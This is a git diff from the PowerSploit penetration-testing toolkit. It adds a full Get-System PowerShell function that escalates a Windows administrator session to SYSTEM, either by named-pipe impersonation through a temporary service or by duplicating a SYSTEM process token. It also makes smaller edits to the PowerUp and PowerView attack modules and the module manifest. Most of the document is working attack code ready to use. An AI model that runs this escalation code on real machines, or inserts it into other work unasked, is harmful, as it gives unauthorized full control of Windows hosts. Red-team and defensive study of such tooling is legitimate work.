diff options
| -rw-r--r-- | Privesc/Get-System.ps1 | 590 | ||||
| -rw-r--r-- | Privesc/PowerUp.ps1 | 1 | ||||
| -rw-r--r-- | Privesc/Privesc.psd1 | 7 | ||||
| -rw-r--r-- | Recon/PowerView.ps1 | 608 | ||||
| -rw-r--r-- | Tests/Privesc.tests.ps1 | 42 | 
5 files changed, 1133 insertions, 115 deletions
| diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 0000000..32d4399 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# +    .SYNOPSIS + +        GetSystem functionality inspired by Meterpreter's getsystem. +        'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +        a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +        NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +        token duplication works correctly. + +        PowerSploit Function: Get-System +        Author: @harmj0y, @mattifestation +        License: BSD 3-Clause +        Required Dependencies: None +        Optional Dependencies: None + +    .PARAMETER Technique + +        The technique to use, 'NamedPipe' or 'Token'. + +    .PARAMETER ServiceName + +        The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + +    .PARAMETER PipeName + +        The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + +    .PARAMETER RevToSelf +     +        Reverts the current thread privileges. + +    .PARAMETER WhoAmI + +        Switch. Display the credentials for the current PowerShell thread. + +    .EXAMPLE +         +        PS> Get-System + +        Uses named impersonate to elevate the current thread token to SYSTEM. + +    .EXAMPLE +         +        PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + +        Uses named impersonate to elevate the current thread token to SYSTEM +        with a custom service and pipe name. + +    .EXAMPLE +         +        PS> Get-System -Technique Token + +        Uses token duplication to elevate the current thread token to SYSTEM. + +    .EXAMPLE +         +        PS> Get-System -WhoAmI + +        Displays the credentials for the current thread. + +    .EXAMPLE +         +        PS> Get-System -RevToSelf + +        Reverts the current thread privileges. + +    .LINK +     +        https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +        https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +        http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +        http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> +    [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] +    param( +        [Parameter(ParameterSetName = "NamedPipe")] +        [Parameter(ParameterSetName = "Token")] +        [String] +        [ValidateSet("NamedPipe", "Token")] +        $Technique = 'NamedPipe', + +        [Parameter(ParameterSetName = "NamedPipe")] +        [String] +        $ServiceName = 'TestSVC', + +        [Parameter(ParameterSetName = "NamedPipe")] +        [String] +        $PipeName = 'TestSVC', + +        [Parameter(ParameterSetName = "RevToSelf")] +        [Switch] +        $RevToSelf, + +        [Parameter(ParameterSetName = "WhoAmI")] +        [Switch] +        $WhoAmI +    ) + +    $ErrorActionPreference = "Stop" + +    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html +    function Local:Get-DelegateType +    { +        Param +        ( +            [OutputType([Type])] +             +            [Parameter( Position = 0)] +            [Type[]] +            $Parameters = (New-Object Type[](0)), +             +            [Parameter( Position = 1 )] +            [Type] +            $ReturnType = [Void] +        ) + +        $Domain = [AppDomain]::CurrentDomain +        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') +        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) +        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) +        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) +        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) +        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') +        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) +        $MethodBuilder.SetImplementationFlags('Runtime, Managed') +         +        Write-Output $TypeBuilder.CreateType() +    } + +    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html +    function Local:Get-ProcAddress +    { +        Param +        ( +            [OutputType([IntPtr])] +         +            [Parameter( Position = 0, Mandatory = $True )] +            [String] +            $Module, +             +            [Parameter( Position = 1, Mandatory = $True )] +            [String] +            $Procedure +        ) + +        # Get a reference to System.dll in the GAC +        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | +            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } +        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') +        # Get a reference to the GetModuleHandle and GetProcAddress methods +        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') +        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') +        # Get a handle to the module specified +        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) +        $tmpPtr = New-Object IntPtr +        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) +         +        # Return the address of the function +        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) +    } + +    # performs named pipe impersonation to elevate to SYSTEM without needing +    #   SeDebugPrivilege +    function Local:Get-SystemNamedPipe { +        param( +            [String] +            $ServiceName = "TestSVC", + +            [String] +            $PipeName = "TestSVC" +        ) + +        $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + +        # create the named pipe used for impersonation and set appropriate permissions +        $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity +        $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) +        $PipeSecurity.AddAccessRule($AccessRule) +        $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + +        $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + +        # Declare/setup all the needed API function +        #   adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html  +        $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient +        $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) +        $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + +        $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle +        $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) +        $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + +        $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA +        $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) +        $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) +         +        $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA +        $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) +        $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) +       +        $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA +        $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) +        $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + +        $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA +        $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) +        $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + +        $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService +        $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) +        $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + +        $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError +        $GetLastErrorDelegate = Get-DelegateType @() ([Int]) +        $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + +        # Step 1 - OpenSCManager() +        # 0xF003F = SC_MANAGER_ALL_ACCESS +        #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx +        Write-Verbose "Opening service manager" +        $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) +        Write-Verbose "Service manager handle: $ManagerHandle" + +        # if we get a non-zero handle back, everything was successful +        if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + +            # Step 2 - CreateService() +            # 0xF003F = SC_MANAGER_ALL_ACCESS +            # 0x10 = SERVICE_WIN32_OWN_PROCESS +            # 0x3 = SERVICE_DEMAND_START +            # 0x1 = SERVICE_ERROR_NORMAL +            Write-Verbose "Creating new service: '$ServiceName'" +            try { +                $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) +                $err = $GetLastError.Invoke() +            } +            catch { +                Write-Warning "Error creating service : $_" +                $ServiceHandle = 0 +            } +            Write-Verbose "CreateServiceA Handle: $ServiceHandle" + +            if ($ServiceHandle -and ($ServiceHandle -ne 0)) { +                $Success = $True +                Write-Verbose "Service successfully created" + +                # Step 3 - CloseServiceHandle() for the service handle +                Write-Verbose "Closing service handle" +                $Null = $CloseServiceHandle.Invoke($ServiceHandle) + +                # Step 4 - OpenService() +                Write-Verbose "Opening the service '$ServiceName'" +                $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) +                Write-Verbose "OpenServiceA handle: $ServiceHandle" + +                if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + +                    # Step 5 - StartService() +                    Write-Verbose "Starting the service" +                    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) +                    $err = $GetLastError.Invoke() + +                    # if we successfully started the service, let it breathe and then delete it +                    if ($val -ne 0){ +                        Write-Verbose "Service successfully started" +                        # breathe for a second +                        Start-Sleep -s 1 +                    } +                    else{ +                        if ($err -eq 1053){ +                            Write-Verbose "Command didn't respond to start" +                        } +                        else{ +                            Write-Warning "StartService failed, LastError: $err" +                        } +                        # breathe for a second +                        Start-Sleep -s 1 +                    } + +                    # start cleanup +                    # Step 6 - DeleteService() +                    Write-Verbose "Deleting the service '$ServiceName'" +                    $val = $DeleteService.invoke($ServiceHandle) +                    $err = $GetLastError.Invoke() + +                    if ($val -eq 0){ +                        Write-Warning "DeleteService failed, LastError: $err" +                    } +                    else{ +                        Write-Verbose "Service successfully deleted" +                    } +                 +                    # Step 7 - CloseServiceHandle() for the service handle  +                    Write-Verbose "Closing the service handle" +                    $val = $CloseServiceHandle.Invoke($ServiceHandle) +                    Write-Verbose "Service handle closed off" +                } +                else { +                    Write-Warning "[!] OpenServiceA failed, LastError: $err" +                } +            } + +            else { +                Write-Warning "[!] CreateService failed, LastError: $err" +            } + +            # final cleanup - close off the manager handle +            Write-Verbose "Closing the manager handle" +            $Null = $CloseServiceHandle.Invoke($ManagerHandle) +        } +        else { +            # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx +            Write-Warning "[!] OpenSCManager failed, LastError: $err" +        } + +        if($Success) { +            Write-Verbose "Waiting for pipe connection" +            $Pipe.WaitForConnection() + +            $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + +            $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) +            Write-Verbose "ImpersonateNamedPipeClient: $Out" +        } + +        # clocse off the named pipe +        $Pipe.Dispose() +    } + +    # performs token duplication to elevate to SYSTEM +    #   needs SeDebugPrivilege +    # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +    Function Local:Get-SystemToken { +        [CmdletBinding()] param() + +        $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') +        $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) +        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) +        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + +        $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) +        $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null +        $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null +        $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null +        $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + +        $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) +        $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null +        $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null +        $LuidStruct = $LuidTypeBuilder.CreateType() + +        $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) +        $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null +        $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null +        $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + +        $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] +        $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray +        $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + +        $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) +        $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null +        $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') +        $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) +        $PrivilegesField.SetCustomAttribute($AttribBuilder) +        $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + +        $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( +            ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), +            'advapi32.dll', +            @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), +            @([Bool] $True) +        ) + +        $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( +            ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), +            'kernel32.dll', +            @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), +            @([Bool] $True) +        ) + +        $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) +        $Win32TypeBuilder.DefinePInvokeMethod( +            'OpenProcess', +            'kernel32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [IntPtr], +            @([UInt32], [Bool], [UInt32]), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder2) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'CloseHandle', +            'kernel32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([IntPtr]), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder2) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'DuplicateToken', +            'advapi32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([IntPtr], [Int32], [IntPtr].MakeByRefType()), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'SetThreadToken', +            'advapi32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([IntPtr], [IntPtr]), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'OpenProcessToken', +            'advapi32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'LookupPrivilegeValue', +            'advapi32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([String], [String], [IntPtr].MakeByRefType()), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder) + +        $Win32TypeBuilder.DefinePInvokeMethod( +            'AdjustTokenPrivileges', +            'advapi32.dll', +            [Reflection.MethodAttributes] 'Public, Static', +            [Reflection.CallingConventions]::Standard, +            [Bool], +            @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), +            [Runtime.InteropServices.CallingConvention]::Winapi, +            'Auto').SetCustomAttribute($AttribBuilder) +         +        $Win32Methods = $Win32TypeBuilder.CreateType() + +        $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} +        $GetCurrentProcess = $Win32Native.GetMethod( +            'GetCurrentProcess', +            [Reflection.BindingFlags] 'NonPublic, Static' +        ) +             +        $SE_PRIVILEGE_ENABLED = 0x00000002 +        $STANDARD_RIGHTS_REQUIRED = 0x000F0000 +        $STANDARD_RIGHTS_READ = 0x00020000 +        $TOKEN_ASSIGN_PRIMARY = 0x00000001 +        $TOKEN_DUPLICATE = 0x00000002 +        $TOKEN_IMPERSONATE = 0x00000004 +        $TOKEN_QUERY = 0x00000008 +        $TOKEN_QUERY_SOURCE = 0x00000010 +        $TOKEN_ADJUST_PRIVILEGES = 0x00000020 +        $TOKEN_ADJUST_GROUPS = 0x00000040 +        $TOKEN_ADJUST_DEFAULT = 0x00000080 +        $TOKEN_ADJUST_SESSIONID = 0x00000100 +        $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY +        $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor +            $TOKEN_ASSIGN_PRIMARY -bor +            $TOKEN_DUPLICATE -bor +            $TOKEN_IMPERSONATE -bor +            $TOKEN_QUERY -bor +            $TOKEN_QUERY_SOURCE -bor +            $TOKEN_ADJUST_PRIVILEGES -bor +            $TOKEN_ADJUST_GROUPS -bor +            $TOKEN_ADJUST_DEFAULT -bor +            $TOKEN_ADJUST_SESSIONID + +        [long]$Luid = 0 + +        $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) +        $tokPriv1Luid.Count = 1 +        $tokPriv1Luid.Luid = $Luid +        $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + +        $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + +        $htoken = [IntPtr]::Zero +        $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + +        $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) +        $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + +        if(-not($RetVal)) { +            Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop +        } +         +        $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + +        $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { +            try { +                $OwnerInfo = $_.GetOwner() +                if ($OwnerInfo.Domain -and $OwnerInfo.User) { +                    $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + +                    if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { +                        $Process = Get-Process -Id $_.ProcessId + +                        $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) +                        if ($Handle) { +                            $Handle +                        } +                    } +                } +            } +            catch {} +        } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 +         +        if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { +            Write-Error 'Unable to obtain a handle to a system process.' +        }  +        else { +            [IntPtr]$SystemToken = [IntPtr]::Zero +            $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + +            Write-Verbose "OpenProcessToken result: $RetVal" +            Write-Verbose "OpenProcessToken result: $LastError" + +            [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero +            $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + +            Write-Verbose "DuplicateToken result: $LastError" + +            $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() +            if(-not($RetVal)) { +                Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop +            } + +            Write-Verbose "SetThreadToken result: $LastError" +            $null = $Win32Methods::CloseHandle($Handle) +        } +    } + +    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { +        Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop +    } + +    if($PSBoundParameters['WhoAmI']) { +        Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" +        return +    } + +    elseif($PSBoundParameters['RevToSelf']) { +        $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf +        $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) +        $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + +        $RetVal = $RevertToSelf.Invoke() +        if($RetVal) { +            Write-Output "RevertToSelf successful." +        } +        else { +            Write-Warning "RevertToSelf failed." +        } +        Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" +    } + +    else { +        if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { +            Write-Error "Script must be run as administrator" -ErrorAction Stop +        } + +        if($Technique -eq 'NamedPipe') { +            # if we're using named pipe impersonation with a service +            Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName +        } +        else { +            # otherwise use token duplication +            Get-SystemToken +        } +        Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" +    } +} diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 3f6be9f..cb2bda5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1292,6 +1292,7 @@ function Find-PathHijack {          if (-not $Path.EndsWith("\")){              $Path = $Path + "\"          } +        $Path = [System.Environment]::ExpandEnvironmentVariables($Path)          # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access          $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 9777f2a..d3d9a97 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -22,7 +22,7 @@ Description = 'PowerSploit Privesc Module'  PowerShellVersion = '2.0'  # Functions to export from this module -FunctionsToExport = @(   +FunctionsToExport = @(      'Find-DLLHijack',      'Find-PathHijack',      'Get-ApplicationHost', @@ -43,11 +43,12 @@ FunctionsToExport = @(      'Write-HijackDll',      'Write-ServiceBinary',      'Write-UserAddMSI', -    'Get-SiteListPassword' +    'Get-SiteListPassword', +    'Get-System'  )  # List of all files packaged with this module -FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' +FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'  } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d95443f..c6ce1d2 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -749,7 +749,7 @@ filter Export-PowerViewCSV {      if (Test-Path -Path $OutFile) {          # hack to skip the first line of output if the file already exists -        $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile +        $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile      }      else {          $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile @@ -2857,7 +2857,7 @@ function Get-ObjectAcl {              }              try { -                $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { +                $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {                      $Object = [adsi]($_.path)                      if($Object.distinguishedname) { @@ -2888,7 +2888,7 @@ function Get-ObjectAcl {                      else {                          $_                      } -                } | Foreach-Object { +                } | ForEach-Object {                      if($GUIDs) {                          # if we're resolving GUIDs, map them them to the resolved hash table                          $AclProperties = @{} @@ -3080,7 +3080,7 @@ function Add-ObjectAcl {              }              try { -                $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { +                $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {                      # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects                      $TargetDN = $_.Properties.distinguishedname @@ -4659,7 +4659,7 @@ function Get-NetGroup {                  # cause the cache to calculate the token groups for the user                  $UserDirectoryEntry.RefreshCache("tokenGroups") -                $UserDirectoryEntry.TokenGroups | Foreach-Object { +                $UserDirectoryEntry.TokenGroups | ForEach-Object {                      # convert the token group sid                      $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value @@ -5085,7 +5085,7 @@ function Get-NetFileServer {                  $TargetUsers -Match $_.samAccountName              }              else { $True }  -        } | Foreach-Object { +        } | ForEach-Object {              # split out every potential file server path              if($_.homedirectory) {                  SplitPath($_.homedirectory) @@ -5138,13 +5138,13 @@ function Get-DFSshare {      .EXAMPLE          PS C:\> Get-DFSshare -         +          Returns all distributed file system shares for the current domain.      .EXAMPLE          PS C:\> Get-DFSshare -Domain test -         +          Returns all distributed file system shares for the 'test' domain.  #> @@ -5171,6 +5171,185 @@ function Get-DFSshare {          $Credential      ) +    function Parse-Pkt { +        [CmdletBinding()] +        param( +            [byte[]] +            $Pkt +        ) + +        $bin = $Pkt +        $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) +        $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) +        #Write-Host "Element Count: " $blob_element_count +        $offset = 8 +        #https://msdn.microsoft.com/en-us/library/cc227147.aspx +        $object_list = @() +        for($i=1; $i -le $blob_element_count; $i++){ +               $blob_name_size_start = $offset +               $blob_name_size_end = $offset + 1 +               $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) +               #Write-Host "Blob name size: " $blob_name_size +               $blob_name_start = $blob_name_size_end + 1 +               $blob_name_end = $blob_name_start + $blob_name_size - 1 +               $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) +               #Write-Host  "Blob Name: " $blob_name +               $blob_data_size_start = $blob_name_end + 1 +               $blob_data_size_end = $blob_data_size_start + 3 +               $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) +               #Write-Host  "blob data size: " $blob_data_size +               $blob_data_start = $blob_data_size_end + 1 +               $blob_data_end = $blob_data_start + $blob_data_size - 1 +               $blob_data = $bin[$blob_data_start..$blob_data_end] +               switch -wildcard ($blob_name) { +                "\siteroot" {  } +                "\domainroot*" { +                    # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... 